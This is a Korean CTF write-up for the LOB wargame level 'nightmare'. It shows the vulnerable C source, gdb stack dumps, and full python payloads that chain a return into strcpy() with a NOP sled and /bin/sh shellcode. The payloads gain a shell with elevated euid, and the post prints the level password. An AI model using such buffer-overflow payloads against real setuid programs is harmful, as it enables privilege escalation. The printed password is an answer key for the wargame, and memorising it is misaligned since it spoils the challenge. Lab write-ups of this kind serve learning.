본문 바로가기

CTF_Write_UP/LOB

[LOB] succubus

시작

안녕하세요!!

LOB도 끝이 보입니다 ㅎㅎㅎ.. 길었네요

뒤로 갈 수록 파일 이름이나 라이브러리로 장난 안 치는 것 같아서 좋네요 ㅋㅋㅋㅋㅋㅋ

시작해보죠 :D

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - nightmare 
        - PLT 
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        char *addr; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        // check address 
        addr = (char *)&strcpy; 
        if(memcmp(argv[1]+44, &addr, 4) != 0){ 
                printf("You must fall in love with strcpy()\n"); 
                exit(0); 
        } 

        // overflow! 
        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 

        // dangerous waterfall 
        memset(buffer+40+8, 'A', 4); 
}

check address 부분에서 buf + 44, 즉 RET 값이 strcpy()의 주소값과 비교하는 코드가 보입니다.

dangerous waterfall에선 RET 이후 4 bytes를 A로 바꾸는 코드가 있네요.

main 함수가 끝나면 다음 함수의 주소로 리턴이 진행되고,

그 함수가 끝나면 main의 RET값 다음 4 bytes를 참조해서 코드가 진행되죠? 32bit ROP chain!!

check address 코드에 의해 main이 끝난 후 strcpy()가 무조건적으로 실행된 후 eip를 dangerous waterfall에서 바꿔버린 값으로 넘기게 돼요.

때문에 strcpy()를 이용해 이 부분을 쉘코드의 주소로 덮으면 쉘이 떨어질 것 같습니다.

(gdb) r `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "CCCC" + "DDDD"'` 
Starting program: /tmp/nightmare/./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "CCCC" + "DDDD"'` 

Breakpoint 1, 0x8048727 in main () 
(gdb) x/40wx $ebp-40 
0xbffffaa0:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffab0:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffac0:     0x41414141      0x41414141      0x41414141      0x08048410 
0xbffffad0:     0x42424242      0x43434343      0x44444444      0x40013800

BBBB가 dangerous watarfall에 의해 AAAA로 바뀔 곳이고, 이 녀석을 쉘코드의 주소로 바꿔줘야 합니다.

CCCC는 strcpy()의 첫 번째 인자, DDDD는 두 번째 인자에요.

환경 변수를 이용하거나, 파일명을 바꾸거나.. 쉘코드를 스택 상에 올리는 방법은 여러 가지가 있지만

저는 간단하게 DDDD 이후에 NOP + 쉘코드를 넣어주겠습니다.

첫 번째 인자엔 BBBB가 들어가있는 주소, 0xbffffad0을 넣어주겠습니다.

두 번째 인자는.. NOP이 있는 곳 중 하나를 찍으면 되는데, 스택에 쓸만한 값이 있는지 확인해봐요.

.
.
0xbffffaf8:     0xbffffb14      0x08048350      0x0804877c      0x4000ae60 
0xbffffb08:     0xbffffb0c      0x40013e90      0x00000002      0xbffffc0a 
.

대충 0xbffffb14 정도면 되겠네요. 이 값을 가진 주소로 익스를 때려볼까요??

[succubus@localhost nightmare]$ ./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "\xd0\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒° 
                                                            ̀ 
Segmentation fault (core dumped)

세폴이 뜨네요.. 높은 확률로 인자값의 길이가 달라져서 스택 크기가 변한 것 같아요.

코어 파일 뜯어보면서 다시 주소를 구해보죠.

(gdb) x/20wx 0xbffffa00 
0xbffffa00:     0x4000ae60      0xbffffa94      0xbffffa48      0x0804874b 
0xbffffa10:     0xbffffa50      0x00000041      0x00000004      0x08048410 
0xbffffa20:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa40:     0x41414141      0x41414141      0x4000ae60      0x41414141 
(gdb) 
0xbffffa50:     0x41414141      0xbffffad0      0xbffffaf8      0x90909090 
0xbffffa60:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa70:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa80:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa90:     0x90909090      0x90909090      0x90909090      0x90909090

덮어써야 할 주소는 0xbffffa50으로 바뀌었네요.

0xbffff9fc:     0x00000400      0x4000ae60      0xbffffa94      0xbffffa48

NOP을 가리키는 곳은 0xbffffa04로 바뀌었네요. 다시 때려보죠!!

[succubus@localhost nightmare]$ ./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "\x50\xfa\xff\xbf" + "\x04\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBP▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒° 
                                                           ̀ 
bash$ id 
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus) 
bash$ my-pass 
euid = 518 
beg for me

Exploit!!

마무리

RET 이후의 인자를 활용해서 함수를 다시 한 번 불렀던 문제입니다.

점점 ROP스러운 문제들이 나오네요 ㅎㅎ

얼마 안 남았습니다!! 감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] xavius  (0) 2019.10.04
[LOB] nightmare  (0) 2019.10.03
[LOB] zombie_assassin  (0) 2019.09.09
[LOB] zombie  (0) 2019.08.03
[LOB] giant  (0) 2019.08.03